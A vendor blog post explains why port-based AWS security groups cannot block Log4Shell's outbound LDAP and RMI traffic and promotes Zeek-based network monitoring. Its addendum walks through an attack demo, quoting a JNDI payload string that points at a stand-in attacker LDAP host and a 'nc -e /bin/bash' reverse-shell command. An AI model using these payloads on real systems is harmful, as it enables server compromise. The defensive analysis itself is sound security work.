Application Layer Infrastructure Visibility in IaaS

The migration to cloud provides faster time to deployment and elasticity, but often at some cost and complexity to infrastructure control and visibility.  A concrete example we can use is a deployment of web servers with rational security group configuration, in light of the recent Log4Shell vulnerability.  

While limitations are similar in all IaaS environments, consider the following AWS architecture with focus on the web servers running on EC2 instances.  

These web server instances have the same security group access, and commonly may have outbound Internet access in order to pull updates, such as SSL on port 443. Since they’re frequently not routed through VPC transit networks or a firewall, they’re left with AWS security groups for controlling that outbound access - which unfortunately is a purely port-based system, as opposed to modern application-aware firewalls that examine Layer 7 to be able to see when protocols are tunneled across off-label ports. 

Log4Shell Mitigation in On-prem Networks

Why does port-based limitation matter?  In the case of Log4Shell, while the attacker initiates the jndi call, the victim is the one performing outbound network activity with DNS, LDAP, or RMS.  DNS is mainly used to check if the destination is running vulnerable software, though it can be used to exfiltrate information.  More concerning, LDAP connections are the prevalent way of starting the delivery of malicious Java code (see the Addendum: Geeking out later in this post for exact chain of events).

So, why not just block LDAP connections outbound?  That’s exactly what multiple Corelight customers told us they did with application-aware devices like Palo Alto firewalls to mitigate risk while their IT teams were frantically scanning, patching, and scanning some more.  The pervasiveness of log4j means different groups, servers, vendors, and unexpected software in the data path all have to be involved in mitigation, adding days or weeks to the time needed to remediate.  

HackDefense also recommends egress filtering, “block all LDAP connections to the internet from these servers, using a modern firewall that blocks by protocol rather than port number; simply blocking port 389 (the default port for LDAP) is insufficient. Do the same for RMI” or additional protocols that are found to lead to exploitation.

This is trivial with prevalent application-aware firewalls, below is an inserted rule blocking LDAP and RMI on any port on a Palo Alto Firewall.**    

However, with a port-based system like security groups, this equivalent protocol rule on any port is impossible.  AWS security groups do allow selection of Type: LDAP, but this simply selects the TCP port of 389.    

Port 389 is an arbitrary port that an attacker can easily change to another port such as 443.  In addition, security groups have no concept of block rules, making it difficult to blacklist an attacker IP or port even if determined.  

This cannot be highlighted enough, the application LDAP and RMI need to be blocked, the application piece is key versus specifying a port.  You cannot accomplish the equivalent mitigation technique in this cloud architecture as with most on-prem environments with modern perimeter firewalls. 

Application Infrastructure Visibility in IaaS

So if application layer blocking is impossible in a common IaaS architecture, what security options do we have?  The solution for most enterprises is not building the exact same controls as on-prem, the agile and elastic benefit for utilizing the cloud is to avoid the infrastructure requirements in the first place.  How can teams charged with securing cloud environments solve this problem?

Passive monitoring with deep packet inspection provides a compelling answer.  One strong example is using open-source network visibility software like Zeek strategically deployed using AWS VPC traffic mirroring, GCP Packet Mirroring, or even directly installed on instances themselves.  As an example, the Corelight software sensor is installed directly on the victim machine loaded with the community-available Log4Shell detection script.  Immediately, the SIEM receives notice logs highlighting the actual download of the Java code, not just Log4Shell attempts. 

We can also easily pivot to other logs for more context, such as HTTP logs to see the exact URI when the Java was downloaded, or the files log for the hash of the Java bytecode.

In an automated devops environment, remediation could be rapidly implemented. A compromised system image replaced with a clean patched one, inbound security or WAF controls to block the source of the initial attack vector, and on-device security directed to blacklist the hash of the inbound malware.  

The right level of visibility into the application layer is critical to monitor and secure cloud infrastructure without disruptive architectural designs – driving down MTTR and arming security teams the ability to act and mitigate future attacks.

Addendum: Geeking Out - Exploiting Log4Shell on IaaS instance using only 443

In this setup, we have 3 attacker services running on different machines on port 443, demonstrating that compromising the victim only requires a single port 443 opened outbound.  Below is the detailed walkthrough of the transactions.  

1. The attacker attempts server exploit with a LDAP jndi string embedded in the URI, ${jndi:ldap://attacker-ldap:443/Exploit}.
2. The vulnerable server reaches out to the LDAP server over port 443.  
   

   The attacker LDAP Server listening on port 443 receives the request, and sends a referral to the victim to download the Java snippet from the attacker web server.  

3. The victim gets the Java code from the referred web server over port 443.
   The Java code tells the victim server to do a “nc -e /bin/bash” to the netcat listening machine for a reverse shell. 
   
4. The victim machine executes the Java code and the attacker netcat listening server receives the netcat connection over port 443. 
   

Success!  The attacker now has reverse shell access and can execute any desired bash commands on the compromised server.  For additional reference, the pcap and corresponding video of the attack demonstration is available.  

**2/18/21 Editor's note: Previous screenshot had a service of "application-default," which a correct rule looking at any ports would service of "any." We have updated the post with a corrected screenshot.

By Ricky Lin, Senior Technical Account Manager, Corelight